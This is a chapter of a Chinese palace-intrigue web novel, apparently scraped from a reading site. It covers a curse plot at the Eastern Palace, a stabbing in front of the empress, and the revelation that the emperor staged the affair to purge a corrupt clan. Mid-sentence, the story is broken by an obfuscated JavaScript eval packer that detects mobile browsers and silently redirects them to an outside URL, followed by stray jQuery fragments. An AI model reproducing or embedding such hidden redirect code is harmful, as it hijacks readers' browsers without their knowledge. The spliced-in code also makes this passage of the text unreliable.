默认冷灰
24号文字
方正启体

31. 第 31 章

作者:老白涮肉坊本书字数:K更新时间:
    何仙丘由人领去东宫偏殿,他倒不慌张,甚至还有功夫四下打量。从磨得光滑的帘钩到窗上的雕花,他的眼光又掠过窗户,飘到外头新绽的梨花上。


    门外脚步声响起,何仙丘连忙垂首避到一旁,再抬头,眼前便是尚未铺地的宫装裙摆,花纹一层团簇一层。这会皇后已携了太子坐下,声音听不出喜怒:“何仙丘,本宫相信在来的路上,尉迟将军已经告诉你出了什么事。”


    何仙丘忙道:“臣罪该万死,教坊中竟出了如此逆贼,是臣管教无方。”


    “只是管教无方?”皇后问道,“何判官,听你的意思,香官诅咒殿下之事,你毫不知情?”


    何仙丘头压得更低,“臣实在不知。”


    皇后也不作色,徐徐开口:“只是本宫奇怪,香官不过一个排箫员,压根没见过殿下几面。你告诉我,他和殿下能有什么深仇大恨,竟要置其于死地?”


    何仙丘哑然,“臣……的确无从得知。”


    皇后似乎早有预料,冲侍立在侧的龙武卫道:“好,尉迟将军,请香官来讲讲,究竟是怎么一回事。”


    尉迟松一挥手臂,香官便被两名龙武卫架进殿里。他衣衫破烂,浑身是血,露出的肌肤没有一块好肉,神色十分萎靡。香官被放在地上,瞧见皇后的眼光,又看到一旁的何仙丘,眼神有些躲闪。他开口时,何仙丘发觉他的声带已经受损。


    他道:“是……是何判官要奴婢寻机将人偶藏在殿下床下,以此诅咒,并做好两手准备,如若事败,便……嫁祸沈娑婆。”


    何仙丘脑中一响,当即喝道:“香官,你讲话要凭良心,欺瞒殿下,这是掉脑袋的大罪!”


    香官不敢瞧他,咳了两声,道:“奴婢胆小,当时怕事情暴露掉脑袋,抵死不肯。是何判官给了奴婢那条汗巾……说要是有万一,也找不到奴婢身上,奴婢这才猪油蒙了心,替他……干下这样罪大恶极的勾当……”


    何仙丘胸膛剧烈起伏,扑通跪在地上,叩首道:“娘娘,此贼谋逆犯上、诅咒殿下,见事情败露,便栽到臣身上。臣自始至终毫不知情,臣冤枉!”


    皇后开口,却不是问他,“沈娑婆,你有什么话?”


    不知什么时候,沈娑婆已经被人带了进来。他力气尚未恢复,挓挲着双手跪倒,“娘娘明察秋毫。”


    看见沈娑婆的一瞬间,何仙丘的脸色肉眼可见地发生变化。他的表情没变,变的是神态,一模一样的表情由正常人和疯子做来完全不同。他一双眼眯了又睁,一动不动盯了他许久,突然咧嘴笑了:“是我看轻了你小子。果然,果然,果然是毒蛇的种子,我敞开胸膛抱了这么久,叫你反咬一口!”


    沈娑婆静静瞧了他一会,俯身向他叩了个头。


    他手指伤得厉害,只能用手背撑在地面,低声道:“你认罪吧。”


    何仙丘从来行事与常人无异,但今日见了沈娑婆,居然有些癫狂之态。他浑然不顾皇后太子在前,自己从地上爬起来,扶着膝盖睨沈娑婆,眼在笑,射出的却是冷箭。


    他哈哈笑道:“我认罪——怎么,这么想我死。不怕我万一有口气,以后要怎么照顾你,不怕我当众扒了你这身皮?”


    沈娑婆浑身一僵,迅速昂首看他。面对何仙丘红涨的笑脸,他面皮惨白,像具十七年的尸首。


    萧玠离得他不远,瞧见他身体微微发抖,这是极度恐惧带来的身体反应。他不敢想十数年来,沈娑婆在他手底下过的是什么日子。


    他深吸一口气,起身将沈娑婆扶起来,看向何仙丘:“何判官,本宫与你无冤无仇,也不相信这是你一个人能策划的事。你背后到底是什么人,你若直言,我同皇后殿下可以对你网开一面。”


    何仙丘看向他。


    他的那点痴狂神态敛去,又变回正常人模样。萧玠以为他平静下来,正要再问,突然听有人疾呼一声“小心”,尚未回神,已经被沈娑婆大力推开。


    一切发生在电光石火之间,皇后厉声叫龙武卫护驾保卫时,萧玠看见沈娑婆仰面倒地,五指紧紧按在腹部。


    他腹上插着一柄极短极锋利的四棱刺,是何仙丘带扣上的装饰。鲜血从他指缝间汩汩涌出,顷刻就在衣袖间积了一小片深红。


    殿中一片混乱,龙武卫冲上前时何仙丘已经爬起来。沈娑婆不知哪里生出的力气,拔出那枚短刺,大叫一声扑上前,将利刃插进何仙丘的左胸。


    何仙丘圆睁双眼向后栽倒时,沈娑婆一个踉跄瘫软在地上。


    一个龙武卫快步上前,探了探何仙丘的脖颈,冲皇后摇了摇头。


    皇后叹口气,看向沈娑婆。沈娑婆被萧玠抱在怀里,眼睛盯着何仙丘溅血的脸,笑了笑,冲萧玠蠕动了下嘴唇,一个字没出口,已笑着、哆哆嗦嗦地泪流满面。


    ***


    阁中血污虽被清理,腥气却依旧可闻。按说厌胜之事已告一段落,可皇后依旧没有放众郎娘归家的意思。


    萧玠将沈娑婆安置在自己那边,请太医看过无碍后过来,正走到帘子后,便听女官桑娘向皇后回禀:“娘娘,世家又来请旨,连温国公都问了几句,说既然有了了结,各位郎君何时才能家去?”


    皇后瞧她一眼,“你同温国公嚼了舌头。”


    她眼神淡淡的,神情也是,桑娘连忙跪倒地上,“娘娘恕罪,妾想着国公是国丈,又一把年纪,不想叫他忧心……”


    皇后反倒在意料之中,“温国公能打听到消息,想必其他相公都有门路,知道东宫出了什么事。”


    她似含笑意,道:“起来吧,传我的话,孩子们和殿下玩得愉快,请诸公诸夫人放心就是。如此三催四请,难道本宫和陛下会亏待了这些儿女不成?告诉他们,到了时候,自会回去。眼瞧太阳要沉了,传膳房,给众位备饭。”


    桑娘领命下去时,尉迟松正来复旨。皇后问了几句何仙丘的事,又问:“陛下那边有没有消息?”


    尉迟松道:“尚未有旨意。”


    皇后颔首,“将军辛苦,请转告陛下,东宫一切都好,别叫他分心。”


    尉迟松领命退下的脚步声远去,皇后才松了一口气,一只手肘撑在案边揉了揉头穴,正要揭盏茶吃,一双手已新捧了盖钟来,道:“那茶已经冷了。殿下头一回来这边坐,尝尝这个。”


    皇后揭开盖钟,闻见一股热腾腾的辛香。


    萧玠道:“这是南秦的瓜李水,加了秦地的八味香料,最能祛寒。我想殿下什么茶水都吃过,便煎了些这个,殿下尝个新鲜。”


    皇后接过盖钟来饮,萧玠便隔案从她对面坐下,不走也不讲话,似乎在等待什么。


    杨观音心中清楚,他和自己在等同一件事。


    直至夕阳尽敛,东宫外头才再次传来响动。萧玠抬头,见是秋童披着夜色进来。


    皇后比萧玠站起来的更快,秋童一只脚刚跨进门槛,皇后已赶忙问道:“前朝一切顺利?”


    秋童满脸堆笑,冲她一躬,道:“众位郎君娘子可以归家了。”


    皇后长舒一口气,又问:“陛下还好?”


    秋童笑道:“都好,娘娘安心。”


    萧玠坐在一边,似乎没人看见他,他静静瞧了一会,才叫一声:“秋翁。”


    他看着秋童的眼睛,问:“东宫厌胜的事情,陛下是不是知道?”


    秋童笑一下子僵在脸上。


    皇后正欲说话,萧玠已转头看她,道:“殿下不知道我,我是个多思多虑的,如今瞧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566374|186996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出了端倪,不弄清楚我不会罢休。殿下不同我讲,我当面问陛下就是。”


    皇后叹口气气,终于道:“对殿下的厌胜诅咒,今天并不是第一例。”


    “南地的郑先生提点过,殿下的病情恐怕有蹊跷。陛下下令严查,在东宫院子里找到了埋了头发和画符的盒子。厌胜之术有三步,第二步是取头发指甲附上符箓,第三步便是制作偶人,放置床下。”


    萧玠道:“陛下不是相信鬼神之说的人。”


    皇后道:“陛下的确不信,但这至少证明的确有人要谋害殿下。有二就有三,他们见殿下痊愈,定然会再次动手。陛下为了引蛇出洞,便下旨在东宫摆这一次宴席,人多眼杂,正给那人动手的时机。”


    萧玠虽有猜测,到底有些心惊,“所以殿下,你们一早就发现了香官。”


    皇后点点头。


    萧玠的眼珠渐渐转回去,眼皮也垂下来,半晌,他摇摇头,“我不明白,陛下为什么不将他当场捉拿,反而在他埋下东西后才开始清算?又为什么不直接提审香官,却把所有人一并扣押,像压根不知道谁才是案犯?”


    他语气有些倔强,“这跟前朝之事有关,是不是?”


    皇后说:“是。”


    黄参连忙叫道:“娘娘!”


    皇后沉声道:“殿下不仅是陛下的儿子,更是大梁的储君,以后担的是江山社稷,看的是黎民百姓。秋内官,你和陛下都把他当玻璃人磕不得碰不得,到底是爱他还是害他,有没有想过?”


    秋童一时语塞,只是叹气。皇后平复气息,温声对萧玠道:“殿下应当注意到,今日席间有王氏的子弟。”


    “是,官银贪贿案中那位王云竹的侄子,名叫王圣椿。”


    “王圣椿的父亲王云楠,相信殿下有所耳闻。”


    “国子监祭酒,掌管各类官学。”萧玠应道。


    “王云竹的案子移交到我兄长手上,兄长发现,王云楠也牵涉其中。”皇后见萧玠讶然,道,“殿下难道以为,贪墨事只有王云竹一桩?其后盘根错节,王云竹不过一只弃车。他虽是小卒,王云楠势力却非同一般,他的门下有在军中供职,认真算来,也有统兵的姻亲。陛下要清算他,不能轻易打草惊蛇。”


    萧玠喃喃道:“所以陛下借厌胜案发,扣留其子弟,以为人质。”


    皇后虽说严禁议论东宫巫蛊事,但对世家打探消息睁一只眼闭一只眼。这样一来,王圣椿留置宫中,王云楠只会以为是配合案件调查,如何也想不到前朝的动作上。


    这次厌胜案的闹剧,竟是萧恒亲手创出的天时地利。既拔除了东宫的隐患,又能借机清扫朝堂。


    好一个一箭双雕。


    许久,萧玠才动了动嘴唇,人像还没回过精神,问:“前朝的事情了了?”


    秋童道:“了了。”


    “王云楠如何处置?”


    秋童顿了顿,还是照实道:“已经抄了家,押入大理寺候审。”


    萧玠点点头,没再说话。


    皇后瞧了他一会,握住他的手,柔声道:“殿下,陛下瞒你,是不想叫你沾染是非。这件事你要体谅他,陛下……到底是陛下。他尽力了。”


    萧玠笑了笑:“殿下以为我怨陛下么?我不是怨他,我心疼他。陛下并不是工于心计之人,为了我,他什么都会干了。”


    一时间,一股无可奈何的怆然贯穿杨观音的心口。她胸中酸涩,却不知要如何安慰眼前这个少年人。萧玠也丝毫没有讨她宽慰的意思,已站起身冲她抱袖行礼,态度恭敬,挑不出一丝差错,真像在对待他父亲的妻子,他的母亲。


    萧玠道:“我去瞧瞧沈郎,晚些去看陛下。殿下劳累多日,快回宫歇息吧。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)